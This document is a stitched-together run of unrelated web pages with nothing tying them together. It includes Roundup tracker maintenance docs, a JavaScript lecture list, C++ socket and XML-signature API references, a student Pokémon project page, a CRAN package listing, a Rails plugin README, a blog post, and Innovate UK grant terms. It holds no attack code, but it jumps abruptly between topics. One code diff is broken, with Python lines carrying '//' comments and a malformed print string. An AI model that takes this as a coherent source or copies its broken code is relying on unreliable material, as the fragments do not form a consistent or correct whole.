- Each line denotes a mapping from a URL component to a tracker home. Make sure the name part doesn’t include any url-unsafe characters like spaces. Stick to alphanumeric characters and you’ll be ok.
Users and Security
Roundup holds its own user database which primarily contains a username, password and email address for the user. Roundup must have its own user listing, in order to maintain internal consistency of its data. It is a relatively simple exercise to update this listing on a regular basis, or on demand, so that it matches an external listing (eg. unix passwd file, LDAP, etc.)
Roundup identifies users in a number of ways:
- Through the web, users may be identified by either HTTP Basic Authentication or cookie authentication. If you are running the web server (roundup-server) through another HTTP server (eg. apache or IIS) then that server may require HTTP Basic Authentication, and it will pass the REMOTE_USER variable through to Roundup. If this variable is not present, then Roundup defaults to using its own cookie-based login mechanism.
- In email messages handled by roundup-mailgw, users are identified by the From address in the message.
In both cases, Roundup’s behaviour when dealing with unknown users is controlled by Permissions defined in the “SECURITY SETTINGS” section of the tracker’s schema.py module:
- Web Registration
- If granted to the Anonymous Role, then anonymous users will be able to register through the web.
- Email Registration
- If granted to the Anonymous Role, then email messages from unknown users will result in those users being registered with the tracker.
More information about how to customise your tracker’s security settings may be found in the customisation documentation.
Tasks
Maintenance of Roundup can involve one of the following:
- tracker backup
- software upgrade
- migrating backends
- moving a tracker
- migrating from other software
- adding a user from the command-line
Tracker Backup
The roundup-admin import and export commands are not recommended for performing backup.
Optionally stop the web and email frontends and to copy the contents of the tracker home directory to some other place using standard backup tools. This means using pg_dump to take a snapshot of your Postgres backend database, for example. A simple copy of the tracker home (and files storage area if you’ve configured it to be elsewhere) will then complete the backup.
Software Upgrade
Always make a backup of your tracker before upgrading software. Steps you may take:
Ensure that the unit tests run on your system:
python run_tests.py
If you’re using an RDBMS backend, make a backup of its contents now.
Make a backup of the tracker home itself.
Stop the tracker web and email frontends.
Install the new version of the software:
python setup.py install
Follow the steps in the upgrading documentation for the new version of the software in the copied.
Usually you will be asked to run roundup_admin migrate on your tracker before you allow users to start accessing the tracker.
It’s safe to run this even if it’s not required, so just get into the habit.
Restart your tracker web and email frontends.
If something bad happens, you may reinstate your backup of the tracker and reinstall the older version of the sofware using the same install command:
python setup.py install
Migrating Backends
Stop the existing tracker web and email frontends (preventing changes).
Use the roundup-admin tool “export” command to export the contents of your tracker to disk.
Copy the tracker home to a new directory.
Delete the “db” directory from the new directory.
Enter the new backend name in the tracker home db/backend_name file.
Use the roundup-admin “import” command to import the previous export with the new tracker home. If non-interactively:
roundup-admin -i <tracker home> import <tracker export dir>
If interactively, enter ‘commit’ before exiting.
Test each of the admin tool, web interface and mail gateway using the new backend.
Move the old tracker home out of the way (rename to “tracker.old”) and move the new tracker home into its place.
Restart web and email frontends.
Moving a Tracker
If you’re moving the tracker to a similar machine, you should:
- install Roundup on the new machine and test that it works there,
- stop the existing tracker web and email frontends (preventing changes),
- copy the tracker home directory over to the new machine, and
- start the tracker web and email frontends on the new machine.
Most of the backends are actually portable across platforms (ie. from Unix to Windows to Mac). If this isn’t the case (ie. the tracker doesn’t work when moved using the above steps) then you’ll need to:
- install Roundup on the new machine and test that it works there,
- stop the existing tracker web and email frontends (preventing changes),
- use the roundup-admin tool “export” command to export the contents of the existing tracker,
- copy the export to the new machine,
- use the roundup-admin “import” command to import the tracker on the new machine, and
- start the tracker web and email frontends on the new machine.
Migrating From Other Software
You have a couple of choices. You can either use a CSV import into Roundup, or you can write a simple Python script which uses the Roundup API directly. The latter is almost always simpler – see the “scripts” directory in the Roundup source for some example uses of the API.
“roundup-admin import” will import data into your tracker from a directory containing files with the following format:
one colon-separated-values file per Class with columns for each property, named <classname>.csv
one colon-separated-values file per Class with journal information, named <classname>-journals.csv (this is required, even if it’s empty)
if the Class is a FileClass, you may have the “content” property stored in separate files from the csv files. This goes in a directory structure:
<classname>-files/<N>/<designator>
where <designator> is the item’s <classname><id> combination. The <N> value is int(<id> / 1000).
Adding A User From The Command-Line
The roundup-admin program can create any data you wish to in the database. To create a new user, use:
roundup-admin create user
To figure out what good values might be for some of the fields (eg. Roles) you can just display another user:
roundup-admin list user
(or if you know their username, and it happens to be “richard”):
roundup-admin find username=richard
then using the user id you get from one of the above commands, you may display the user’s details:
roundup-admin display <userid>
Running the Servers
Unix
On Unix systems, use the scripts/server-ctl script to control the roundup-server server. Copy it somewhere and edit the variables at the top to reflect your specific installation.
Windows
On Windows, the roundup-server program runs as a Windows Service, and therefore may be controlled through the Services control panel. The roundup-server program may also control the service directly:
- install the service
- roundup-server -C /path/to/my/roundup-server.ini -c install
- start the service
- roundup-server -c start
- stop the service
- roundup-server -c stop
To bring up the services panel:
- Windows 2000 and later
- Start/Control Panel/Administrative Tools/Services
- Windows NT4
- Start/Control Panel/Services
You will need a server configuration file (as described in Configuring roundup-server) for specifying tracker homes and other roundup-server configuration. Specify the name of this file using the -C switch when installing the service.
Running the Mail Gateway Script
The mail gateway script should be scheduled to run regularly on your Windows server. Normally this will result in a window popping up. The solution to this is to:
- Create a new local account on the Roundup server
- Set the scheduled task to run in the context of this user instead of your normal login


Lectures:
-
Lecture 1: Basic concepts and language introduction
-
Lecture 2: Operators, variables and data types
-
Lecture 3: More on types, loops and control flow
-
Lecture 4: Functions
-
Lecture 5: Object oriented JavaScript
-
Lecture 6: More on OOP in JavaScript
-
Lecture 7: Node.js, npm, ES6 modules and modern tooling and bundling in JS
-
Lecture 8: Introduction to React
-
Lecture 9: More on React
-
Lecture 10: Async programming in JavaScript


| Tasks Completed This Week | Tasks Completed This Month | Pending Tasks | Overdue Tasks <2 days | Overdue Tasks 2-7 days | Overdue Tasks 7-30 days |
|---|
{#{% extends "team/base.html" %}#} {% load user_tags %} {% load staticfiles %} {% block css %} {% endblock %} {% block pageTitle %}
| Tasks Completed This Week | Tasks Completed This Month | Pending Tasks | Overdue Tasks <2 days | Overdue Tasks 2-7 days | Overdue Tasks 7-30 days |
|---|


|
c++ library collection
|
This class implements server sockets. More...
#include <serversocket.h>
Public Member Functions | |
| virtual | ~serversocket ()=default |
| virtual std::unique_ptr< socket > | accept ()=0 |
| Listens for a connection to be made to this socket and accepts it. More... | |
| virtual const inetaddress & | get_address () const noexcept=0 |
| Get the inetaddress the server is listening on. More... | |
| virtual bool | get_reuse_address () const noexcept=0 |
| Get if binding to a port which remains in TIME_WAIT state is allowed. More... | |
| virtual void | set_accept_timeout (socket::timeout_t timeout)=0 |
| Set the accept timeout. More... | |
| virtual socket::timeout_t | get_accept_timeout () const noexcept=0 |
| Get the accept timeout. More... | |
| virtual void | close ()=0 |
| Closes this serversocket and releases any system resources associated. More... | |
| virtual bool | is_closed () const noexcept=0 |
| Returns if the serversocket is closed or available for further calls of io operations like accept(). More... | |
This class implements server sockets.
A server socket waits for requests to come in over the network. It performs some operation based on that request, and then possibly returns a result to the requester.
|
virtualdefault |
|
pure virtual |
Listens for a connection to be made to this socket and accepts it.
The method blocks until a connection is made. A new Socket s is created and returned.
|
pure virtual |
Closes this serversocket and releases any system resources associated.
The general contract of close is that it closes the serversocket. A closed serversocket cannot perform io operations and cannot be reopened.
|
pure virtualnoexcept |
Get the accept timeout.
If the timeout ist zero the feature is disabled.
|
pure virtualnoexcept |
Get the inetaddress the server is listening on.
The ip address of the inetaddress can be used to restrict the access of clients to the server.
|
pure virtualnoexcept |
Get if binding to a port which remains in TIME_WAIT state is allowed.
|
pure virtualnoexcept |
Returns if the serversocket is closed or available for further calls of io operations like accept().
|
pure virtual |
Set the accept timeout.
If a call of accept() take longer than this timeout, an timeoutexception is thrown. A timeout of zero disables this feature.
| timeout |


Pokémon World is our attempt to emulate the hugely popular Pokémon Universe on the web. We are fan boys of the franchise and this is our tribute to it. We created this as a final project for CS5610 course and do not intend to use it for commercial purposes
Original plan includes creation of the Pokémon Trading Card Game which emulates Pokémon fights between two trainers. We also created a Pokédex module which emulates the Pokédex from the game.
Future Scope: We intend to implement Gym Battles and two-player mode.
We would like to thank Satoshi Tajiri - creator of the franchise without which our childhood's would not have been so interesting.
This project could not have been possible without the existence of some amazing API's. We have tremendous gratitude for creators of these API's and keeping it open for educational purposes.
Pokémon TCG API : Provides information on cards and sets
Poké API: PokéAPI is primarily an educational tool and is free and open to use. It provides all data related to the franchise and is well documented.
Pokémon website: We were heavily inspired by Pokémon's original website.
Pokémon Trading Card Game is our attempt to create a web version of the hugely popular Pokémon Trading Card Game using MEAN Stack.
The basic game play remains similar to the original game. Players assume the role of a Pokémon trainer and use their Pokémon to battle their opponents. In our game the opponent is the computer which makes its moves automatically.
To keep the game fair, the cards are assigned at random. Every attack reduces the Hit Points(HP) of the opponents Pokémon. A Pokémon gets knocked off if it's HP falls below 0.
The player wins when all if the opponents Pokémons are knocked off. A card is gifted to the winner and added to his profile.
Find everything about every Pokemon
Pokédex The Pokédex is an electronic device designed to catalogue and provide information regarding the various species of Pokémon featured in the Pokémon video game, anime and manga series.
The name Pokédex is a neologism including "Pokémon" (which itself is a portmanteau of "pocket" and "monster") and "index". The Japanese name is simply "Pokémon Encyclopedia", and it can feature every Pokémon on it, depending on the Pokédex.
Every Pokémon trainer has a Pokédex for identifying Pokémons they come across in their quest to catch 'em all.
 Just like real-life gymnasiums, where one can go to work out and build physical strength, Pokémon Gyms are places where Trainers can go to sharpen their battling skills and where their Pokémon can go to gain experience. Often specializing in a particular type, Gyms create an environment which allows Trainers to test both their skills and Pokémon against those of others.
The most powerful Trainer in a given Gym is called the Gym Leader, who is revered by both the lower-ranking members of the Gym and local fans.
We are working on bringing this feature to Pokémon World very soon.
Coming Soon..
See who's on the quest to Catch 'Em All


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Burnt Ferret wrote:Glad you like it, and hope you're not just saying that just to be nice
Burnt Ferret wrote:The thing is, you can't really have a detailed texture for each individual weapon. You COULD, but doing so would cause you to need to d/l a massive number of files.
They don't look that great with the current textures, but imagine the thing shrunken down to game size... you most likely won't be able to tell much difference.
Karl G. wrote:
Yes, Wacoo is right.
Joe M. wrote:http://www.blender.org/
Karl G. wrote:
Yes, Wacoo is right.
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The tidy modeling "verse" is a collection of packages for modeling and statistical analysis that share the underlying design philosophy, grammar, and data structures of the tidyverse.
| Version: | 0.0.2 |
| Depends: | R (≥ 3.1) |
| Imports: | broom (≥ 0.5.0), cli (≥ 1.0.1), crayon (≥ 1.3.4), dials (≥ 0.0.1), dplyr (≥ 0.7.8), ggplot2 (≥ 3.1.0), infer (≥ 0.4.0), magrittr (≥ 1.5), parsnip (≥ 0.0.1), pillar (≥ 1.3.0), purrr (≥ 0.2.5), recipes (≥ 0.1.4), rlang (≥ <IP_ADDRESS>), rsample (≥ 0.0.3), rstudioapi (≥ 0.8), tibble (≥ 1.4.2), tidytext (≥ 0.2.0), tidypredict (≥ 0.2.0), tidyposterior (≥ 0.0.2), yardstick (≥ 0.0.2) |
| Suggests: | covr, knitr, rmarkdown, testthat |
| Published: | 2018-11-27 |
| Author: | Kuhn Max [aut, cre], Hadley Wickham [aut], RStudio [cph, fnd] |
| Maintainer: | Kuhn Max <max at rstudio.com> |
| BugReports: | https://github.com/tidymodels/tidymodels/issues |
| License: | GPL-3 | file LICENSE |
| URL: | https://github.com/tidymodels/tidymodels |
| NeedsCompilation: | no |
| Materials: | NEWS |
| CRAN checks: | tidymodels results |
| Reference manual: | tidymodels.pdf |
| Package source: | tidymodels_0.0.2.tar.gz |
| Windows binaries: | r-devel: tidymodels_0.0.2.zip, r-release: tidymodels_0.0.2.zip, r-oldrel: tidymodels_0.0.2.zip |
| OS X binaries: | r-release: tidymodels_0.0.1.tgz, r-oldrel: not available |
| Old sources: | tidymodels archive |
Please use the canonical form https://CRAN.R-project.org/package=tidymodels to link to this page.


Before Change
filename = os.path.join(c.RESULTS_DIR, "artifact-inventory.json")
anon = anonymize_user_home
with open(filename, "w") as out_file:
hdf5_observations: list = glob.glob(hdf5_dir + "/*.hdf5")
data = {"artifacts": {
"mp4": anon(mp4_file),
"gist": anon(gist_url),
"performance_summary": anon(summary_file),
After Change
latest_artifacts_filename = p.join(c.RESULTS_BASE_DIR,
"latest-artifacts.json")
shutil.copy2(filename, latest_artifacts_filename)
print("\n****\nARTIFACTS INVENTORY COPIED TO: "%s"" +
anon(latest_artifacts_filename))
// TODO: Upload to YouTube on pull request
// TODO: Save a description file with the episode score summary,
// gist link, and s3 link


| Path: | README.rdoc |
| Last Update: | Sat Mar 14 18:42:35 +0100 2009 |
Highlight is a simple syntax highlighting plugin for Ruby on Rails. It‘s basically a wrapper around the popular pygments.org highlighter that‘s written in Python and supports a huge number of languages.
Highlight provides a new method that‘s available in views:
highlight(language, code = nil, &block)
language may be either a Symbolor a String (see supported languages below). The code can be passed either as a string or inside a block, e.g.:
highlight(:ruby, 'class Test; end')
or
highlight(:ruby) do <<-EOF class Test end EOF end
To perform the highlighting, the code is first written to a file in /tmp, e.g.:
/tmp/highlight_1225993290.70882
This file is the passed to pygments that returns the HTML and so on…
Since writing that file, passing its contents on to pygments, retrieve the result etc. takes a while, all highlighted source code should be cached of course, e.g.:
<% cache do %> <%= highlight(:ruby, 'class Test; end') -%> <% end %>
The following languages are supported. All of the paranthesized identifiers may be used as parameters for highlight to denote the language the source code to highlight is written in (use either Symbols or Strings).
* Actionscript (as, as3, actionscript) * Applescript (applescript) * bash (bash, sh) * C (c, h) * Clojure (clojure) * C++ (c++, cpp, hpp) * C# (c#, csharp, cs) * CSS (css) * diff (diff) * Dylan (dylan) * Erlang (erlang, erl, er) * HTML (html, htm) * Java (java) * JavaScript (javascript, js, jscript) * JSP (jsp) * Make (make, basemake, makefile) * Objective-C (objective-c) * OCaml (ocaml) * Perl (perl, pl) * PHP (php) * Python (python, (py) * RHTML (erb, rhtml) * Ruby (ruby, rb) * Scala (scala) * Scheme (scheme) * Smalltalk (smalltalk) * Smarty (smarty) * SQL (sql) * XML (xml, xsd) * XSLT (xslt) * YAML (yaml, yml)
Installation is as easy as (for Rails > 2.1):
./script/plugin install git@github.com:marcoow/highlight.git
The hightlight.css stylesheet that contains the neccessary style definitions should be copied to your public/stylesheets directory automagically.
If you are on Rails < 2.1, do this from your RAILS_ROOT
git clone git@github.com:marcoow/highlight.git vendor/plugins/highlight
In this case you would have to copy the hightlight.css stylesheets manually from vendor/plugins/highlight/assets/stylesheets/.
If you don‘t have python and pygments installed, you will need that too. For instructions on installing pygments, refer to pygments.org/docs/installation/
At the moment there are neither TODOs nor future plans. If you want ot suggest any, do so at simplabs.lighthouseapp.com/projects/19387-highlight/overview.
Copyright (c) 2008-2009 Marco Otte-Witte (simplabs.com), released under the MIT license
The actual highlighting is done by Pygments (pygments.org).


--- layout: post title: Water bridge in Germany. How is this possible? category: cool tags: - bridge - construction - cool - Cool - WTF status: publish type: post published: true meta: _networkpub_meta_published: done image: http://i.imgur.com/cwvGF.jpg link-url: http://www.amusingplanet.com/2011/04/incredible-magdeburg-water-bridge-in.html linked-name: Amusing Planet _aioseop_title: Water bridge in Germany. How is this possible? _aioseop_description: Bridge that boats use to cross water ---
I really don't know what to say other than why would you want to build a bridge for boats to cross water? Makes no sense. (I obviously didn't read the article.)


- These terms and conditions apply to organisations who are applying for grant funding either individually or in collaboration with other applicants. Each organisation must accept the terms and conditions before submitting its application.
- If you are successful, you will receive an award letter confirming any project-specific conditions of the award. This letter must be countersigned and uploaded by the organisation in the correct manner before the project can start.
1. General terms and conditions
Innovate UK reserves the right to change these grant terms and conditions unilaterally and at any time by giving 3 months’ notice.
You cannot assign, transfer or sub-contract any of your rights or obligations under this agreement to any third party.
Rights and/or remedies under this award, whether exercised or not, remain available throughout the life of the award.
An award does not create any partnership or joint venture at law.
Innovate UK :
- accepts no liability for any consequences, whether direct or indirect, that may come about by undertaking the project, using the grant, or ending the award
- limits its liability to the amount of eligible award that can be evidenced
Our awards are subject to the laws of England and Wales.
An award cannot be used for any political or lobbying activity or purpose.
Duration2. Duration
These terms and conditions come into effect from the start date until the end date provided in the award letter, or until the award is terminated.
3. Your obligations
As a successful applicant, you will:
- make sure that the project is managed in accordance with the project proposal and these terms and conditions
- inform Innovate UK promptly, through your Monitoring Officer (MO), of any issue or material change that may affect the progress, delivery or exploitation of the project
- within 3 months of the end of the project, you will provide the MO with:
- confirmation that the final claim and final Independent Accountant’s Report have been submitted
- the project final report
4. Payment of grant
Innovate UK will pay your grant by instalments quarterly and in arrears on submission of a claim, unless otherwise agreed in your grant offer letter. This will be against your net eligible costs incurred and paid over the duration of the project.
Your claims must be supported by the following:
- a revised forecast of eligible project costs which details expected costs for each future claim period and highlights any variations from the last forecast
- an Independent Accountant’s Report (see paragraph 6)
Claims must be for completed quarters only, except for the final quarter where you may submit a claim for costs incurred but not necessarily paid, provided that the cost is:
- for labour, overhead and/or travel and subsistence only
- paid within 30 days of the end of the project
- included within the final Independent Accountant’s Report
Innovate UK will normally pay the grant within 30 days, unless we need further information to support the claim. We agree to do this within 14 days of receiving the claim.
Innovate UK does not have to pay any claim received more than 30 days after the end of the quarter to which it relates. We will not pay any claims received later than 3 months after completion of the project.
Innovate UK reserves the right not to consider new applications from organisations who have failed to return required financial reports on any projects funded by Innovate UK.
Innovate UK will not pay more than 85% of the grant until all outstanding claims and supporting information have been received and the final Independent Accountant’s Report has been approved.
You are responsible for maintaining detailed records and documentation relating to your award. These should provide evidence that your eligible project costs comply with all state aid rules, as outlined in paragraph 8. These records must be kept for 10 years following the award and must be supplied to the Commission within 20 days if requested.
Innovate UK may appoint an auditor to ensure you are complying with the terms and conditions. You agree to give the auditor access to your project records within 2 weeks of notice of their appointment. If the auditor determines that you should repay the grant to Innovate UK, Innovate UK may recover the cost of the auditor’s work from you.
5. Suspension, withdrawal and repayment of grant
Innovate UK may suspend, withdraw or reclaim the grant in whole or in part. We will only do this after consultation with you, in a way that minimises the impact on your ability to deliver the project.
Innovate UK may suspend grant payments, by serving you with written notice specifying the breach and requiring it to be remedied within 30 days in the event of the following:
- we suspect you of having committed a fraudulent act, or an offence under the Bribery Act 2010
- you fail to maintain satisfactory progress on the project
- there are material changes to the proposed outcomes of the project
- you do not comply with the terms and conditions of the award
Innovate UK may stop future grant payments in the event of the following:
- you fail to remedy the breach in the timescales permitted or the breach cannot be resolved
- you become insolvent, are declared bankrupt, placed into receivership, administration or liquidation, or a petition has been presented for its winding up, or any similar arrangements that may affect you financially (including any requirements imposed by GBER (see paragraph 8))
- there is a change to your legal status
- you have breached state aid rules as set out in paragraph 8
Innovate UK may seek repayment of grant in the event of any of the following:
- a grant overpayment
- you have provided false information in relation to this award
- you have been found to have committed a fraduluent act or an offence under the Bribery Act 2010
- a material element of the grant has been used for purposes unrelated to the project
- you have breached state aid rules as set out in paragraph 8
6. Financial reporting
You agree to appoint an Independent Accountant who will inspect your financial statements relating to the grant. They will prepare an Independent Accountant’s Report using Innovate UK’s standard template, at the intervals stated in the relevant guidance note. The Report will contain an opinion that:
- the financial information and level of grant claimed are accurate and legitimate
- eligible costs that you have submitted have been properly incurred and paid
- you have provided satisfactory explanations for any queries raised by the Independent Accountant
You must appoint an Independent Accountant in a manner consistent with Innovate UK’s Standard Terms of Engagement of Accountants.
In some circumstances, you may be asked to provide your latest published annual accounts or management accounts, that do not breach of any law, order or regulation restricting such disclosure.
Innovate UK may also require you to submit an Accountant’s Report if any of the following occur:
- you withdraw from the project
- the project is terminated
- you submit a claim disclosing expenditure substantially greater than forecast
- you are suspected of breaching the terms and conditions
7. Confidentiality and information management
Innovate UK reserves the right to request access to any additional information deemed necessary by Innovate UK in connection with this award. You must provide or allow access to such information within 2 weeks of a request.
8. State Aid obligations
Innovate UK awards grant funding through its Research, Development and Innovation Scheme (http://ec.europa.eu/competition/elojade/isef/case_details.cfm?proc_code=3_SA_34263) operating under Commission Regulation (EU) No 651/2014 (“the General Block Exemption Regulation (GBER)”).
You must inform Innovate UK of any other public funding applied for or awarded against the eligible costs covered by this offer. It is your responsibility to ensure that the cumulative total of public funding you are receiving for a project does not exceed those limits stated in GBER.
Innovate UK will stop grant payments if you become subject to a recovery order that follows on from a previous Commission decision, which declares any aid you have received illegal and incompatible with the internal market.
Where you are required by an order of the European Commission to repay any grant to Innovate UK that is found to be unlawful State Aid, interest will be charged on the amount being reclaimed from the date of payment at the applicable legislated rate.
No subcontract may be made which would constitute a breach of State Aid obligations.
9. Intellectual property
Any intellectual property rights (IPRs) developed during or as a result of the project are owned by you.
You will ensure that you have the necessary rights to use or access third party IPR needed to carry out the project.
10. Exploitation of project results
Innovate UK expects you to refine and update your Exploitation Plan over the project lifetime.
For a period of 5 years from the end of the project, Innovate UK expects you to take reasonable steps to exploit the results of the project in the UK or wider European Economic Area. Innovate UK may evaluate the impact of funding awarded to the project to which you are expected to assist.
11. UK statutory framework
Innovate UK is subject to the requirements of the Freedom of Information Act 2000 and Data Protection Act 1998, as detailed on our corporate website.
12. Publication of information
Innovate UK encourages you to seek your own publicity. Should you wish to publicise the project in any way whatsoever, please consult the Innovate UK guide ‘Publicising your project: guidelines from Innovate UK’ available on request from Innovate UK’s Press Office (pressoffice@innovateuk.gov.uk).
13. Dispute resolution
Where a dispute arises between you and Innovate UK, we would advise your Chief Executive Officer to contact us to discuss, in good faith, how the matter can be resolved. If a mutually acceptable resolution cannot be found, the parties agree to refer the matter to the London Court of International Arbitration (LCIA), whose decision will be binding.
14. Force majeure
Where an event of force majeure, or a change to the Laws of England and Wales, UK government or devolved administration policy and/or the Legal Acts of the European Union occurs which affects Innovate UK’s ability to continue funding your project, we may terminate the award by giving you as much notice as possible in writing. In such circumstances, Innovate UK will meet any eligible costs you have reasonably incurred and paid prior to the date of termination.
15. Entire agreement
By submitting an application you are accepting these terms and conditions.


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#include <DSIGSignature.hpp>
Collaboration diagram for DSIGSignature:
The DSIGSignature class is used to manipulate and verify <signature> blocks. It should only ever be created via the XSECProvider class.
Public Member Functions | |
Load and Setup Functions | |
| void | load (void) |
| Load the signature information from the DOM source. | |
| void | setSigningKey (XSECCryptoKey *k) |
| Externally set the signing/verification key. | |
Signature Operations | |
| bool | verify (void) |
| Verify that a signature is valid. | |
| bool | verifySignatureOnly (void) |
| Verify a signature is valid (skip references). | |
| void | sign (void) |
| Sign a DSIGSignature DOM structure. | |
Functions to create and manipulate signature elements. | |
| void | setDSIGNSPrefix (const XMLCh *prefix) |
| Set the prefix be used for the DSIG namespace. | |
| void | setECNSPrefix (const XMLCh *prefix) |
| Set the prefix be used for the Exclusive Canonicalisation namespace. | |
| void | setXPFNSPrefix (const XMLCh *prefix) |
| Set the prefix be used for the XPath-Filter2 namespace. | |
| void | setPrettyPrint (bool flag) |
| Set Pretty Print. | |
| bool | getPrettyPrint (void) |
| Tell caller whether PrettyPrinting is active. | |
| XERCES_CPP_NAMESPACE_QUALIFIER DOMElement * | createBlankSignature (XERCES_CPP_NAMESPACE_QUALIFIER DOMDocument *doc, canonicalizationMethod cm=CANON_C14N_NOC, signatureMethod sm=SIGNATURE_DSA, hashMethod hm=HASH_SHA1) |
| Create a <Signature> DOM structure. | |
| DSIGReference * | createReference (const XMLCh *URI, hashMethod hm=HASH_SHA1, char *type=NULL) |
| Add a new reference to the end of the list of <Reference> nodes. | |
General and Information functions. | |
| unsigned int | calculateSignedInfoAndReferenceHash (unsigned char *hashBuf, unsigned int hashBufLen) |
| Get the hash of the Signed Value. | |
| unsigned int | calculateSignedInfoHash (unsigned char *hashBuf, unsigned int hashBufLen) |
| Get the hash of the Signed Value. | |
| DSIGReferenceList * | getReferenceList (void) |
| Return the reference list for outside use. | |
| XSECBinTXFMInputStream * | makeBinInputStream (void) const |
| Create an input stream from SignedInfo. | |
| const XMLCh * | getErrMsgs (void) |
| Get the Error messages from the last verify. | |
| const XMLCh * | getDSIGNSPrefix () |
| Get the NS Prefix being used for DSIG elements. | |
| const XMLCh * | getECNSPrefix () |
| Get the NS being used for EC nodes. | |
| const XMLCh * | getXPFNSPrefix () |
| Get the NS being used for XPath Filter2 nodes. | |
| XERCES_CPP_NAMESPACE_QUALIFIER DOMDocument * | getParentDocument () |
| canonicalizationMethod | getCanonicalizationMethod (void) |
| Get canonicalisation algorithm. | |
| hashMethod | getHashMethod (void) |
| Get the hash method. | |
| signatureMethod | getSignatureMethod (void) |
| Get the signature method. | |
| const XMLCh * | getSignatureValue (void) const |
| Get the Signature Value. | |
| XSECSafeBufferFormatter * | getSBFormatter (void) |
| Helper function for sub Classes. | |
Resolver manipulation | |
| void | setURIResolver (XSECURIResolver *resolver) |
| Register a URIResolver. | |
| XSECURIResolver * | getURIResolver (void) |
| Return a pointer to the resolver being used. | |
| void | setKeyInfoResolver (XSECKeyInfoResolver *resolver) |
| Register a KeyInfoResolver. | |
| XSECKeyInfoResolver * | getKeyInfoResolver (void) |
| Return a pointer to the resolver being used. | |
KeyInfo Element Manipulation | |
| DSIGKeyInfoList * | getKeyInfoList () |
| Get the list of <KeyInfo> elements. | |
| void | clearKeyInfo (void) |
| Clear out all KeyInfo elements in the signature. | |
| DSIGKeyInfoValue * | appendDSAKeyValue (const XMLCh *P, const XMLCh *Q, const XMLCh *G, const XMLCh *Y) |
| Append a DSA KeyValue element. | |
| DSIGKeyInfoValue * | appendRSAKeyValue (const XMLCh *modulus, const XMLCh *exponent) |
| Append a RSA KeyValue element. | |
| DSIGKeyInfoX509 * | appendX509Data (void) |
| Append a X509Data element. | |
| DSIGKeyInfoName * | appendKeyName (const XMLCh *name, bool isDName=false) |
| Append a KeyName element. | |
| DSIGKeyInfoPGPData * | appendPGPData (const XMLCh *id, const XMLCh *packet) |
| Append a PGPData element. | |
| DSIGKeyInfoSPKIData * | appendSPKIData (const XMLCh *sexp) |
| Append a SPKIData element. | |
| DSIGKeyInfoMgmtData * | appendMgmtData (const XMLCh *data) |
| Append a MgmtData element. | |
Object handling | |
| DSIGObject * | appendObject (void) |
| Append an object container. | |
| int | getObjectLength (void) |
| Find the number of ds:Object nodes within the Signature. | |
| DSIGObject * | getObjectItem (int i) |
| Get a particular ds:Object from within the Signature. | |
ID handling | |
| void | setIdByAttributeName (bool flag) |
| Set Id finding behaviour. | |
| bool | getIdByAttributeName (void) |
| Determine Id finding behaviour. | |
| void | registerIdAttributeName (const XMLCh *name) |
| Add an attribute name to be searched for when looking for Id attributes. | |
| bool | deregisterIdAttributeName (const XMLCh *name) |
| Remove an attribute name to be searched for when looking for Id attributes. | |
| void | registerIdAttributeNameNS (const XMLCh *ns, const XMLCh *name) |
| Add an attribute name within a particular Namespace to be searched for when looking for Id attributes. | |
| bool | deregisterIdAttributeNameNS (const XMLCh *ns, const XMLCh *name) |
| Remove an attribute name and ns to be searched for when looking for Id attributes. | |
Protected Member Functions | |
Constructors and Destructors | |
| DSIGSignature (XERCES_CPP_NAMESPACE_QUALIFIER DOMDocument *doc, XERCES_CPP_NAMESPACE_QUALIFIER DOMNode *sigNode) | |
| Contructor for use with existing XML signatures or templates. | |
| ~DSIGSignature () | |
Friends | |
| class | XSECProvider |
|
|
Contructor for use with existing XML signatures or templates. Create a DSIGSignature object based on an already existing DSIG Signature XML node. It is assumed that the underlying DOM structure is in place and works correctly. It is required that the caller pass in the signature DOM Node as there may be more than one signature in a document. The caller needs to specify which signature tree is to be used.
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Append a DSA KeyValue element. Add a new KeyInfo element for a DSA Value
|
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Append a KeyName element. Add a new KeyInfo element for a key name.
|
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Append a MgmtData element. Add a new KeyInfo element for Management Data
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Append an object container. Create a new Object (i.e. a Signature <Object> which is a container element used to hold information that needs to be signed within the signature - i.e. in enveloping mode
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Append a PGPData element. Add a new KeyInfo element for a PGP key.
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Append a RSA KeyValue element. Add a new KeyInfo element for a RSA Value
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Append a SPKIData element. Add a new KeyInfo element for a set of SPKI S-expressions
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Append a X509Data element. Add a new KeyInfo element for X509 data.
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Get the hash of the Signed Value. Function to calculate and return the hash of the <SignedInfo> structures (after the canonicalization defined by <CanonicalizationMethod> and the reference hashes have been performed).
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Get the hash of the Signed Value. Function to calculate and return the hash of the <SignedInfo> structures (after the canonicalization defined by <CanonicalizationMethod> has been performed).
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Clear out all KeyInfo elements in the signature. This function will delete all KeyInfo elements from both the DSIGSignature object and the associated DOM. |
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Create a <Signature> DOM structure. The DOM structure created is still divorced from the document. The callee needs to take the returned <Signature> Element node and insert it at the appropriate place in their document. The signature is a skeleton only. There are no references or KeyInfo elements inserted. However the DSIGSignature structures are set up with the new information, so once an element has been created and a signing key has been set, a call to sign will sign appropriately.
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Add a new reference to the end of the list of <Reference> nodes. Creates a new DSIGReference, adds it to the list of references handled by the owning DSIGSignature and also creates the skeleton DOM structure into the document.
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Remove an attribute name to be searched for when looking for Id attributes. This allows a user to de-register a particular name to be used to identify Id attributes.
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Remove an attribute name and ns to be searched for when looking for Id attributes.  Returns the canonicalisation algorithm that will be/is used to canonicalise the <SignedInfo> element prior to hash/sign
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Get the NS Prefix being used for DSIG elements.
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Get the NS being used for EC nodes.
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Get the Error messages from the last verify. Returns a list of text error messages from the last Signature operation. Each error that occurred is in the buffer, separated by new-lines.
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Get the hash method. Obtain the hash (digest) algorithm that is used to generate a hash of the canonicalised <SignedInfo> element.
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Determine Id finding behaviour. Allows a caller to determine whether the library is currently searching for Id attributes by name
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Get the list of <KeyInfo> elements. This function recovers list that contains the KeyInfo elements read in from the DOM document. This list should be used by calling applications to determine what key is appropriate for validating (or even signing) the Signature.
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Return a pointer to the resolver being used.
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Get a particular ds:Object from within the Signature.
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Find the number of ds:Object nodes within the Signature.
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Get the DOM_Document that this Signature is operating within. Mainly used by the library itself.
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Tell caller whether PrettyPrinting is active.
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Return the reference list for outside use. Returns a pointer to the list of references which can then be read by the caller.
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Helper function for sub Classes. Returns the pointer to the formatter being used within the Signature |
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Get the signature method. Obtain the algorithm that will be used to generate/check the signature of the canonicalised and hashed <SignedInfo> element.
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Get the Signature Value. Returns the base64 string holding the signature value for this signature
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Return a pointer to the resolver being used.
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Get the NS being used for XPath Filter2 nodes.
